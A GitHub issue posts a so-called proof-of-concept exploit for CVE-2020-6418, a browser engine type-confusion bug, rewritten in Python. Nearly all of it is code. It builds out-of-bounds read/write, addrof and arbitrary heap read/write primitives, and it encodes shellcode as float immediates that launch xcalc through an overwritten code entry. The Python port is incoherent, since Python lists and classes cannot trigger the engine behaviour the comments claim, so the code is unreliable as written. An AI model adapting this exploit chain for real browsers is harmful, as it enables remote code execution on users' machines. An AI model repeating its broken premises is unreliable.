Skip to content

POC for CVE-2020-6418 - written in python (exploit code) #7

@priyanshukumar397

Description

@priyanshukumar397
import struct

def ftoi(f):  # float to int
    # Convert float to binary representation (8 bytes)
    packed = struct.pack('<d', f)
    # Unpack as 64-bit integer
    return struct.unpack('<q', packed)[0]

def itof(i):  # int to float
    # Convert 64-bit integer to binary representation (8 bytes)
    packed = struct.pack('<q', i)
    # Unpack as double-precision float
    return struct.unpack('<d', packed)[0]

def lower(i):  # lower 32 bits of int
    return i & 0xffffffff

def upper(i):  # upper 32 bits of int
    return (i >> 32) & 0xffffffff

def hex_string(i):
    # Return the hex string of a value
    return f"0x{i:016x}"

# Part 2a: Shellcode with Immediate Numbers
def foo():
    # execve("/usr/bin/xcalc", ["/usr/bin/xcalc"], ["DISPLAY=:0"])
    return [
        1.9553820986592714e-246, 1.9557677050669863e-246,
        1.97118242283721e-246, 1.9563405961237867e-246,
        1.9560656634566922e-246, 1.9711824228871598e-246,
        1.986669612134628e-246, 1.9712777999056378e-246,
        1.9570673233493564e-246, 1.9950498189626253e-246,
        1.9711832653349477e-246, 1.9710251545829015e-246,
        1.9562870598986932e-246, 1.9560284264452913e-246,
        1.9473970328478236e-246, 1.9535181816562593e-246,
        5.6124209215264576e-232, 5.438699428135179e-232
    ]

# Trigger optimisation of function so the bytecode is stored in heap
for _ in range(0x10000):
    foo()

# Part 0: Initial OOB write

class Proxy:
    def __getitem__(self, key):
        global a, oob_arr
        a[0] = {}
        oob_arr = [1.1]
        return object

def f(p):
    global a
    a.append(1.9553820986592714e-246 if not callable(p) else 0)  # itof(0x1337133700010000)

def main(p):
    return f(p)

a = [1.1] * 11
oob_arr = []

a.pop()
a.pop()

# Trigger optimisation of main (inlining)
for _ in range(0x10000):
    main(lambda: None)
    a.pop()

main(lambda: None)
main(Proxy())
assert len(oob_arr) == 0x8000  # Achieved OOB

# Part 1: addrof, read write primitives

vic_arr = [1.1] * 128  # Victim float array
obj_arr = [{}] * 256  # Object array

def oob_read32(i):  # Read 32 bits at offset from oob_arr elements
    i -= 2
    if i % 2 == 0:
        return lower(ftoi(oob_arr[i // 2]))
    else:
        return upper(ftoi(oob_arr[i // 2]))

def oob_write32(i, x):  # Write 32 bits at offset from oob_arr elements
    i -= 2
    if i % 2 == 0:
        oob_arr[i // 2] = itof((oob_read32(i ^ 1) << 32) + x)
    else:
        oob_arr[i // 2] = itof((x << 32) + oob_read32(i ^ 1))

def addrof(o):  # Get heap address of object
    global vic_arr, obj_arr
    obj_arr[0] = o
    vic_arr_mapptr = oob_read32(17)
    obj_arr_mapptr = oob_read32(411)
    oob_write32(411, vic_arr_mapptr)
    addr = obj_arr[0]
    oob_write32(411, obj_arr_mapptr)
    return lower(ftoi(addr))

def heap_read64(addr):  # Read 64 bits at arbitrary heap address
    global vic_arr
    vic_arr_elemptr = oob_read32(19)
    new_vic_arr_elemptr = addr - 0x8 + 1
    oob_write32(19, new_vic_arr_elemptr)
    data = ftoi(vic_arr[0])
    oob_write32(19, vic_arr_elemptr)
    return data

def heap_write64(addr, val):  # Write 64 bits at arbitrary heap address
    global vic_arr
    vic_arr_elemptr = oob_read32(19)
    new_vic_arr_elemptr = addr - 0x8 + 1
    oob_write32(19, new_vic_arr_elemptr)
    vic_arr[0] = itof(val)
    oob_write32(19, vic_arr_elemptr)

# Part 2b: Shellcode with Immediate Numbers

foo_addr = addrof(foo)

code_container = lower(heap_read64(foo_addr - 1 + 0x18))
code_entry_addr = code_container - 1 + 0x10
code_entry = heap_read64(code_entry_addr)

print(f"addrof foo = {hex_string(foo_addr)}")
print(f"code container = {hex_string(code_container)}")
print(f"code entry = {hex_string(code_entry)}")

# Overwrite code entry to start of user-controlled immediates
heap_write64(code_entry_addr, code_entry + 0x66)

foo()  # Executes user-controlled immediates as shellcode

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions